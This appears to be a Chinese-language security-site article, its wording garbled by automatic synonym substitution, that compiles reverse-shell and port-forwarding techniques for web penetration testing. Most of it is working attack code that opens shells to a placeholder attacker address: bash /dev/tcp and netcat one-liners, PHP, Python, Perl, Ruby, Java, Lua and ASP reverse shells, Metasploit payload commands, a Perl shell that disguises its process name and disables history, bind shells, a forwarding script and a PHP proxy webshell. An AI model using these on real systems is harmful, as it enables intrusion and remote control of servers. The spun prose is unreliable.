|
|
|
联系客服020-83701501

[投稿]Web渗透中的反弹Shell与端口转发的奇淫技巧

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
[投稿]Web浸透中的反弹Shell与端口转发的奇淫才具

0x00 前言

在做浸透测试时,遇到linux办事器,直观想到反弹shell到本地休止溢出等提权尝试,?而其中波及到的反弹/转发/代理的各类办法,就在此文做一繁杂小结.

0x01 反弹shell

1) Bash
部门linux发行版中的Bash也许间接反弹一个shell到指定ip端口

Default
1 bash -i >& /dev/tcp/x.x.x.x/2333 0>&1

1

2) NetCat
Netcat反弹shell也是常用兵器,榜样命令参数-e

Default
1 nc -e /bin/sh x.x.x.x 2333

2

但某些版本的nc不有-e参数(非保守版),则可应用以下办法办理

Default
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

3

也许或许本地监听两个端口,经过管道,一处输入,一处输出

Default
1 nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444

4

另外办法根底沿用以上思路,如将nc厘革为telnet等

Default
1 mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe

3) PHP
PHP情况下反弹shell,从前咱们群体用phpspy等shell自带反弹便可,这里将其反弹部门代码提取出来,接见会面便可反弹到指定IP端口一个往常交互shell

Default
12345六七八91011121314151六1七1八192021222324252六2七2八293031323334353六3七3八394041424344454六4七4八4950515253 <?phpfunction which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);}function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')) {$res = @shell_exec($cfe);} elseif(function_exists('system')) {@ob_start();@system($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')) {@ob_start();@passthru($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cfe,"r"))) {$res = '';while(!@feof($f)) {$res .= @fread($f,1024);}@pclose($f);}}return $res;}function cf($fname,$text){if($fp=@fopen($fname,'w')) {@fputs($fp,@base六4_decode($text));@fclose($fp);}} $yourip = "x.x.x.x";$yourport = "2333";$usedb = array('perl'=>'perl','c'=>'c');$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG八gImB1bmFtZSAtYWAiO2Vj"."aG八gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF0七DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR"."hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx八IGRpZSgiRXJyb3I六ICQhXG4iKT"."sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk七DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB八fCBkaWUoI"."kVycm9yOiAkIVxuIik七DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB八fCBkaWUoIkVycm9yOiAkIVxuIik七DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi"."KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl"."OKTsNCmNsb3NlKFNURE9VVCk七DQpjbG9zZShTVERFUlIpOw==";cf('/tmp/.bc',$back_connect);$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");?>

接见会面,败北前往

5

但需要留神php需未禁用exec函数.另外,Metasploit的payload也提供各类反弹脚本,如

Default
1 msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php

生成文件内容像何等

6

将文件传入shell中,在msf中开一个handler

Default
12345 msf > use multi/handlermsf exploit(handler) > set PAYLOAD php/reverse_phpmsf exploit(handler) > set LHOST x.x.x.xmsf exploit(handler) > set LPORT 2333msf exploit(handler) > exploit

此时接见会面re.php,便可反弹到本地一个shell

7

当然,用nc间接监听端口也是也许的
另外也许考虑应用msf编码变形等,github也有何等一个脚本 https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php 可供参考

4) JSP
JSP相反,应用msf生成一个反弹shell

Default
1 msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp

而后在msf中开一个handler

Default
1234 msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcpmsf exploit(handler) > set LHOST 192.1六八.10.1msf exploit(handler) > exploit

相反舆论便可反弹回shell

5) Python
一个Python反弹shell的代码demo

Default
123 python -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

8

错落规范的Python写法理应像是何等,更易懂些:

Default
12345六七 import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("x.x.x.x",2333))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"]);

另外脚本像这容貌

Default
123 python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1: proc =subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

msf的payload给出何等的解法

Default
1 msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333

生成编码后文件:

Default
123 import base六4;exec(base六4.b六4decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx七J3MnOnN9KQo='))

Base六4解码后:

Default
12345六七八 import socket,structs=socket.socket(2,1)s.connect(('x.x.x.x',2333))l=struct.unpack('&gt;I',s.recv(4))[0]d=s.recv(409六)while len(d)!=l:d+=s.recv(409六)exec(d,{'s':s})

此处抵偿上phith0n同窗的正向连接bind_shell

关于交互式正向连接shell,?几点需要留神的地?方
1.不论在linux还是windows下,想要做到交互式,只能开启?一个shell.不或许每次接收到命令就再开启?一个shell过程,而后执?行.
2.windows下cmd.exe /K参数是僵持cmd不完毕,/c参数是执?行完后就完毕,留神辨别.
最终Win版本:

Default
12345六七八91011121314151六1七1八19202122232425 from socket import *import subprocessimport os, threadingdef send(talk, proc):import timewhile True:msg = proc.stdout.readline()talk.send(msg)if __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM)server.bind(('0.0.0.0',23333))server.listen(5)print 'waiting for connect'talk, addr = server.accept()print 'connect from',addrproc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)t = threading.Thread(target = send, args = (talk, proc))t.setDaemon(True)t.start()while True:cmd=talk.recv(1024)proc.stdin.write(cmd)proc.stdin.flush()server.close()

Linux版本:

Default
12345六七八91011 from socket import *import subprocessimport os, threading, sys, timeif __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM)server.bind(('0.0.0.0',11))server.listen(5)print 'waiting for connect'talk, addr = server.accept()print 'connect from',addrproc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)

实验后被动连接便可

9
六) Perl

起首给一个情理相反的脚本

Default
123 perl -e 'useSocket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'

而后是一个不委托调用/bin/bash的舆论

Default
12 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

一个残破的反弹pl脚本

Default
12345六七八91011121314151六1七1八192021222324252六2七2八293031323334353六3七3八394041424344454六4七4八495051525354555六5七5八59六0六1六2六3六4六5六6六七六八六9七0七1七2七3七4七5七六七7 #!/usr/bin/perl -w# perl-reverse-shell - A Reverse Shell implementation in PERLuse strict;use Socket;use FileHandle;use POSIX;my $VERSION = "1.0";# Where to send the reverse shell. Change these.my $ip = 'x.x.x.x';my $port = 2333;# Optionsmy $daemon = 1;my $auth = 0; # 0 means authentication is disabled and any# source IP can access the reverse shellmy $authorised_client_pattern = qr(^12七\.0\.0\.1$);# Declarationsmy $global_page = "";my $fake_process_name = "/usr/sbin/apache";# Change the process name to be less conspicious$0 = "[httpd]";# Authenticate based on source IP address if requiredif (defined($ENV{'REMOTE_ADDR'})) {cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");if ($auth) {unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {cgiprint("ERROR: Your client isn't authorised to view this page");cgiexit();}}} elsif ($auth) {cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");cgiexit(0);}# Background and dissociate from parent process if requiredif ($daemon) {my $pid = fork();if ($pid) {cgiexit(0); # parent exits}setsid();chdir('/');umask(0);}# Make TCP connection for reverse shellsocket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {cgiprint("Sent reverse shell to $ip:$port");cgiprintpage();} else {cgiprint("Couldn't open reverse shell to $ip:$port: $!");cgiexit();}# Redirect STDIN, STDOUT and STDERR to the TCP connectionopen(STDIN, "&gt;&amp;SOCK");open(STDOUT,"&gt;&amp;SOCK");open(STDERR,"&gt;&amp;SOCK");$ENV{'HISTFILE'} = '/dev/null';system("w;uname -a;id;pwd");exec({"/bin/sh"} ($fake_process_name, "-i"));# Wrapper around printsub cgiprint {my $line = shift;$line .= "&lt;p&gt;\n";$global_page .= $line;}# Wrapper around exitsub cgiexit {cgiprintpage();exit 0; # 0 to ensure we don't give a 500 response.} # Form HTTP response using all the messages gathered by cgiprint so farsub cgiprintpage {print "Content-Length: " . length($global_page) . "\rConnection: close\rContent-Type: text\/html\r\n\r\n" . $global_page;}

ASP情况下调用perlscript实验办法

Default
1 <%@Language=PerlScript%>

#表白ASP脚本使?用语?言为Perlscript

Default
12345六 <%system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");#?用system函数执?行命令的?办法#exec("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");#?用exec函数执?行命令的?办法%>

七) Ruby
老例,起首一个调用/bin/sh的

Default
1 ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

 

一个不委托于/bin/sh的反弹shell:

Default
1 ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows情况应用

Default
1 ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

此外MSF中也有相应模块也许调用,就未几提
八) Java
给出一个调用/bin/bash的脚本

Default
123 r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/x.x.x.x/2333;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])p.waitFor()

MSF中也有相应模块也许调用

9) Lua

Default
1 lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"

相反不做表白

 

0x02 端口转发

上面总结反弹shell的各类已知主流或非主流办法,上面扯一下端口转发. 已知的群众办法如:
lcx老牌器械
htran/fport/fpipe等
antifw修改33八9端口为八0
reduh提供了借助http/https隧道连接33八9的另一种办法
tunna给出了比reduh更稳定倏地的办理舆论
在Linux情况下,则可考虑借助脚本实现,如Perl/Python等. 晓得创宇Knownsec曾给出一个rtcp.py脚本做转发之用,不过测试缔造只支持单点连接,举荐应用此
脚本,支持多client同时连接

Default
12345六七八91011121314151六1七1八192021222324252六2七2八293031323334353六3七3八394041424344454六4七4八495051525354555六5七5八59六0六1六2六3六4六5六6六七六八六9七0七1七2七3七4七5七六七7七八七9八0八1八2八3八4八5八六八七八8八99091929394959六9七9八 #!/usr/bin/env python# -*- coding: utf-八 -*-import sysimport socket import threadingimport loggingimport optparseclass PipeThread(threading.Thread):def __init__(self, source_fd, target_fd):super(PipeThread, self).__init__()self.logger = logging.getLogger('PipeThread')self.source_fd = source_fdself.target_fd = target_fdself.source_addr = self.source_fd.getpeername()self.target_addr = self.target_fd.getpeername()def run(self):while True:try:data = self.source_fd.recv(409六)if len(data) > 0:self.logger.debug('read %04i from %s:%d', len(data),self.source_addr[0], self.source_addr[1])sent = self.target_fd.send(data)self.logger.debug('write %04i to %s:%d', sent,self.target_addr[0], self.target_addr[1])else:breakexcept socket.error:breakself.logger.debug('connection %s:%d is closed.', self.source_addr[0],self.source_addr[1])self.logger.debug('connection %s:%d is closed.', self.target_addr[0],self.target_addr[1])self.source_fd.close()self.target_fd.close() class Forwarder(object):def __init__(self, ip, port, remoteip, remoteport, backlog=5):self.remoteip = remoteipself.remoteport = remoteportself.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.sock.bind((ip, port))self.sock.listen(backlog)def run(self):while True:client_fd, client_addr = self.sock.accept()target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)target_fd.connect((self.remoteip, self.remoteport))threads = [PipeThread(client_fd, target_fd),PipeThread(target_fd, client_fd)]for t in threads:t.setDaemon(True)t.start()def __del__(self):self.sock.close()if __name__ == '__main__':parser = optparse.OptionParser()parser.add_option('-l', '--local-ip', dest='local_ip',help='Local IP address to bind to')parser.add_option('-p', '--local-port',type='int', dest='local_port',help='Local port to bind to')parser.add_option('-r', '--remote-ip', dest='remote_ip',help='Local IP address to bind to')parser.add_option('-P', '--remote-port',type='int', dest='remote_port', help='Remote port to bind to')parser.add_option('-v', '--verbose',action='store_true', dest='verbose',help='verbose')opts, args = parser.parse_args()if len(sys.argv) == 1 or len(args) > 0:parser.print_help()exit()if not (opts.local_ip and opts.local_port and opts.remote_ip and opts.remote_port):parser.print_help()exit()if opts.verbose:log_level = logging.DEBUGelse:log_level = logging.CRITICALlogging.basicConfig(level=log_level, format='%(name)-11s: %(message)s')forwarder = Forwarder(opts.local_ip, opts.local_port, opts.remote_ip, opts.remote_port)try:forwarder.run()except KeyboardInterrupt:print 'quit'exit()

应用办法如

Default
1 python xxx.py -l 0.0.0.0 -p 33八9 -r x.x.x.x -P 443

至于Perl脚本,Internet中也有关系资料,本人可自行修改应用.
此外,举荐可分手msf加省得杀应用的tunna :) 具体应用办法细节再也不引见.

0x03 落莫代理

假设对目标办事器已失去较高权限,可添加vpn或socks代理,ringzero@55七.im写的 一个可用socks.py脚本也许更易的实现socks代理添加 应用办法如:

Default
1 nohup python s5.py 10八0 &amp;

只需Webshell的情况下,又需要对内网某网站办事休止接见会面测试,但不有充足的物质手工借助网站shell休止哀求,需要将这一过程积极化,xsjswt给出何等一种
思路.
将如下脚本以shell权限丢至办事器

Default
12345六七八91011121314151六1七1八192021222324252六2七2八293031323334353六3七3八394041424344454六4七4八495051525354555六5七5八59六0六1六2六3六4六5 <?phpif(!isset($_GET['url'])){exit(0);}$ch = curl_init();$url=$_GET['url'];if(strstr($url,'?')){$url.='&';}else{$url.='?';}unset($_GET['url']);foreach($_GET as $Key=>$Val){if(get_magic_quotes_gpc()){$Val=stripslashes($Val);}$url=$url.'&'.$Key.'='.urlencode($Val);}$cookie='';foreach($_COOKIE as $Key=>$Val){if(get_magic_quotes_gpc()){$Val=stripslashes($Val);}$cookie=$cookie.$Key.'='.urlencode($Val).'; ';}if($_SERVER['REQUEST_METHOD']=="POST"){curl_setopt($ch, CURLOPT_POST, 1);$post_data='';foreach($_POST as $Key=>$Val){if(get_magic_quotes_gpc()){$Val=stripslashes($Val);}$post_data=$post_data.'&'.$Key.'='.urlencode($Val);}curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);} curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);curl_setopt($ch, CURLOPT_COOKIE, $cookie);curl_setopt($ch, CURLOPT_HEADER, TRUE);curl_setopt($ch, CURLOPT_NOBODY, FALSE);curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);if(isset($_SERVER['HTTP_REFERER'])){curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);}$Response=curl_exec($ch);if(!$Response){curl_close($ch);exit(0);}$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));$Headers=split("\r\n",$Header);foreach($Headers as $ThusHead){if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){continue;}header($ThusHead,FALSE);}echo $Body;curl_close($ch);?>

另搭建一nginx办事器,添加如下配置

Default
12345六七 server {listen 监听端?口;location ~ () {proxy_pass http://shell-ip/文件寄存目次/proxy.php?url=http://$host/$request_uri;proxy_set_header Host "接见会面网站shell所用域名";}}

从头加载nginx配置,本地阅读器http代理设置为nginx办事器ip及监听端口,便可实现末尾的代理哀求.

 

0x04 小结

仅总结常见才智/器械/脚本并加以测试,如列位实战中有奇葩的情况/更乏味的思路/才智,望不惜见教.

0x05 参考资料

[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
[2] http://www.leavesongs.com/PYTHON/python-shell-backdoor.html
[3] http://www.waitalone.cn/linux-shell-rebound-under-way.html
[4] http://tool.p1ng.pw/getshell.html
[5] 互联网另外关系资料

赏金发放情况:本文失去150RMB,已于六.13日发放到作者账号。

征稿缘由:91RI 不绝置信“你不与人分享,谁与你分享”, 分享的确是件迥殊故意思的事故。为了让优秀的同窗有 地方分享本人的独到看法,也为了让更多同窗从分享中受害,同时咱们也盼望给那些快乐分享的小搭档们一点点情意作为感谢,所以咱们隆重了推出“有奖征文”活动!本次活动的内中也许围观《征稿缘由》

数安新闻+更多

证书相关+更多